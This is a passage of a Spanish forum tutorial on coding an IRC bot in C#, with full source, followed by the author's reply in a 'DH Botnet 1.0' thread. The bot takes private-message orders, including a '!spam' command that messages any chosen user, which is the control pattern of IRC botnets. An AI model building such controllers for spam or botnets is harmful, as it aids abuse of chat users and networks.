Bueno esta parte es un poco mas complicada , para poder detectar los mensajes privados que nos mandan tenemos que leer el stream que nos manda el canal y ver el comando PRIVMSG , en el comando PRIVMSG le seguira la procedencia , si es el canal sera un mensaje publico pero si no es el canal es un mensaje privado , eso lo podemos detectar con el siguiente codigo al cual vamos agregar despues del bucle while() : 

Código (csharp) [Seleccionar]

regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..

string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
}
}
             

Como ven detectamos los mensajes privados y los mostramos en la consola como lo hace mirc , mostrando el nick que nos esta hablando y despues el mensaje.

0x06 : Reconocer comandos

Para poder reconocer comandos para HackingTools lo vamos hacer con mensajes privados , el administrador del bot le habla al mismo a traves de mensajes privados con los comandos , despues el bot le responde con la respuesta del comando que le dijimos , un ejemplo de eso es este codigo el cual deben agregar despues del bucle :

Código (csharp) [Seleccionar]

regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{
string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
// detectamos los dos comandos que son <nick> <mensaje>
if (regex_ordenes.Success) // Si se encontro algo
{
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Sure"); // Le decimos al nick dueño del bot que si
mandar_datos.Flush(); // ..
System.Threading.Thread.Sleep(5000); // Usamos Thread.Sleep para esperar 5 segundos y fingir que hacemos algo interesante xD
mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
// un mensaje al usuario especificado con el mensaje que pedimos
mandar_datos.Flush(); // ..
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Finished"); // Le decimos al dueño del bot que terminamos
mandar_datos.Flush(); // ..
}
}
}


Como ven nuestro comando es !spam , simplemente usa esta formato "!spam <nick> <texto>" y el bot le hablara a la persona del canal que quieran con el mensaje que quieran.

0x07 : Testeando

Hemos llegado al final de este corto manual , les deberia haber quedado el codigo de esta forma :

Código (csharp) [Seleccionar]

// Ejemplo de IRC Bot
// Written By Doddy Hackman in the year 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares

namespace irc
{
    class Program
    {
        static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal

        static void Main(string[] args)
        {
            NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
            TcpClient irc; // Establecemos la variable irc como TcpClient
            StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
            StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

            string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
            string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
            string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
            string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
            irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
            conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
            leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
            mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

            mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
            mandar_datos.Flush(); // Actualizamos la conexion

            mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
            mandar_datos.Flush(); // ..

            mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
            mandar_datos.Flush(); // ..

            while (true) // Mi bucle enterno
            {
                while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
                {
                    Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

                    Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
                    // que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
                    // para ver que no estemos muerto o algo asi xD
                    if (regex.Success) // Si se encontro algo
                    {
                        string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
                        mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
                        mandar_datos.Flush(); // ..
                    }

                    regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
                    // con el poder de las expresiones regulares
                    if (regex.Success) // Si los encontraron
                    {
                        string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
                        usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
                        // cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
                        foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
                        {
                            Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
                        }
                    }

                    regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
                    if (regex.Success) // Si se encontro algo
                    {

                        mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
                        mandar_datos.Flush(); // ..

                        string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
                        string mensaje = regex.Groups[4].Value; // El mensaje en si
                        if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
                        // el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
                        {
                            Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
                            Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
                            // detectamos los dos comandos que son <nick> <mensaje>
                            if (regex_ordenes.Success) // Si se encontro algo
                            {
                                mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
                                // un mensaje al usuario especificado con el mensaje que pedimos
                                mandar_datos.Flush(); // ..
                            }
                        }
                    }
                }
            }
        }
    }
}

// The End ?


Unas imagenes :







--========--
  The End ?
--========--

Version PDF.

Version VideoTutorial

[youtube=640,360]https://www.youtube.com/watch?v=xGIHprbXDek[/youtube]

Eso es todo.
#100
.NET (C#, VB.NET, ASP) / Re: [C#] DH Botnet 1.0
27 Septiembre 2014, 15:23 PM
no hago esto para infectar a nadie , solo me gusta programar todo tipo de cosas y publicar el codigo completo que es lo que siempre hago , el link que deje siempre estuvo igual con el proyecto de visual studio listo para ser abierto y leido , lo que edite fue el codigo aunque el stub no lo pude mostrar al foro porque es largo y se corta pues ya lo intente , pues si hay problema con eso les dejo ahora los codigos en pastebin.

Ahora el post esta editado.